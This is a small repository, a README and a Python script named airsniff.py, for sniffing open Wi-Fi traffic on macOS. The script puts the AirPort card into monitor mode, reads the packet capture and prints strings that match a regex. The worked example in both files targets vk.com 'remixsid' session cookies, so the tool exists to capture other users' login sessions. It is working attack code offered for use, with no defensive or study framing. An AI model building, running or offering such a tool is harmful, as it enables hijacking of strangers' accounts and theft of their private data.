├── README.md └── airsniff.py /README.md: -------------------------------------------------------------------------------- 1 | This is quite simple script. You can do all this stuff manually without the script. 2 | It uses Airport Extreme card for grab your pattern from wireless traffic. 3 | It can be used **only in open Wi-Fi network**. 4 | 5 | Also try [Airtool.app](https://www.adriangranados.com/apps/airtool) for just dumping Wi-Fi traffic. 6 | 7 | #### How it works: 8 | 9 | * Turn Airport card into monitor mode on selected channel. 10 | 11 | ```sudo "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport" sniff 10``` 12 | 13 | It will write dump in .cap file localted in /tmp/. 14 | 15 | To find out what channel number is used on your network hold ```Alt``` and click on wifi icon: 16 | 17 | ![CHANNEL](http://i.imgur.com/oeZrN1m.png) 18 | 19 | * In cycle matches your regexp in .cap file and excluding duplicate strings. 20 | 21 | #### Usage: 22 | 23 | ```sudo ./airsniff.py <"pattern">``` 24 | 25 | **channel** — wifi channel 26 | 27 | **"pattern"** — regexp that will grep /tmp/*.cap file. Quotes required! 28 | 29 | Example for vk.com: 30 | 31 | ```sudo ./airsniff.py 10 "remixsid=[a-z0-9]{53}"``` 32 | -------------------------------------------------------------------------------- /airsniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | #coding:utf-8 4 | import sys 5 | import os 6 | import glob 7 | import signal 8 | import re 9 | import subprocess 10 | import time 11 | 12 | 13 | if len(sys.argv) == 1: 14 | print(''' 15 | ------------------ 16 | Usage: airsniff.py <\\"pattern\\"> 17 | - wifi channel 18 | <"pattern"> - regexp that will grep /tmp/*.cap file. Quotes required! 19 | Example for vk.com: ./airsniff.py 10 "remixsid=[a-f0-9]{53}" 20 | ''') 21 | sys.exit(); 22 | 23 | channel = sys.argv[1] 24 | pattern = sys.argv[2] 25 | showed = [] 26 | 27 | 28 | # kill loop and airport process when press Ctrl+C 29 | def signal_handler(signal, frame): 30 | print ' Aborted.' 31 | subprocess.Popen(['kill', str(AirportObj.pid)]) 32 | sys.exit(0) 33 | signal.signal(signal.SIGINT, signal_handler) 34 | 35 | 36 | ########## 37 | ########## 38 | ########## 39 | 40 | # Remove all *.cap from /tmp/ 41 | print "rm /tmp/*.cap" 42 | rm = subprocess.call("rm /tmp/*.cap", shell=True) 43 | 44 | # Switch airport into monitor and put process in backgroung 45 | # If you exit non clear airport process still be run in background 46 | print "Switching airport into monitor mode on channel " + channel 47 | AirportObj = subprocess.Popen(['/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport','sniff',channel], stdout=subprocess.PIPE) 48 | 49 | time.sleep(2) 50 | 51 | if (AirportObj.poll() != None): 52 | print AirportObj.poll() 53 | print "\nError!\nTry run /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan" 54 | sys.exit() 55 | 56 | file_path = glob.glob('/tmp/*.cap')[0] 57 | print "Dump file path " + file_path 58 | 59 | file = open(file_path,'r') 60 | 61 | st_results = os.stat(file_path) 62 | st_size = st_results[6] 63 | file.seek(st_size) 64 | 65 | print 'Now running in loop: grep -aEo "' + pattern + '" ' + file_path 66 | print "Press Ctrl+C to abort." 67 | while True: 68 | where = file.tell() 69 | line = file.readline() 70 | if not line: 71 | time.sleep(10) 72 | file.seek(where) 73 | else: 74 | # print "File size: " + str(os.path.getsize(file_path)/1000) + " KB" 75 | match = re.findall(pattern, line ) 76 | if(match != None): 77 | for string in match: 78 | if string in showed: 79 | pass 80 | else: 81 | print string 82 | showed.append(string) 83 | --------------------------------------------------------------------------------